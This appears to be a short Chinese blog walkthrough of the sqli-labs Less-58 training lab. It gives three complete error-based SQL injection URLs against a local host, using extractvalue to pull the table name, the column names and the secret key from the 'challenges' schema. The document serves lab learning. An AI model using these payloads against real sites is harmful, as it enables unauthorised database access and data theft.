执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。但是需要注意这里只有5次机会尝试。

找表名 

http://127.0.0.1/sql/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Sqli-labs Less-58 报错注入 5次机会

找列名

http://127.0.0.1/sql/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='dzgnt6f0xz'),0x7e))--+

Sqli-labs Less-58 报错注入 5次机会

找key

http://127.0.0.1/sql/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_GYDQ) from dzgnt6f0xz),0x7e))--+

Sqli-labs Less-58 报错注入 5次机会

 

相关文章:

  • 2021-08-20
  • 2021-10-07
  • 2021-07-15
  • 2021-06-24
  • 2022-02-18
  • 2022-12-23
  • 2021-11-10
  • 2021-10-01
猜你喜欢
  • 2022-01-24
  • 2022-02-25
  • 2021-08-02
  • 2022-01-17
  • 2021-07-23
  • 2022-02-19
  • 2022-01-19
相关资源
相似解决方案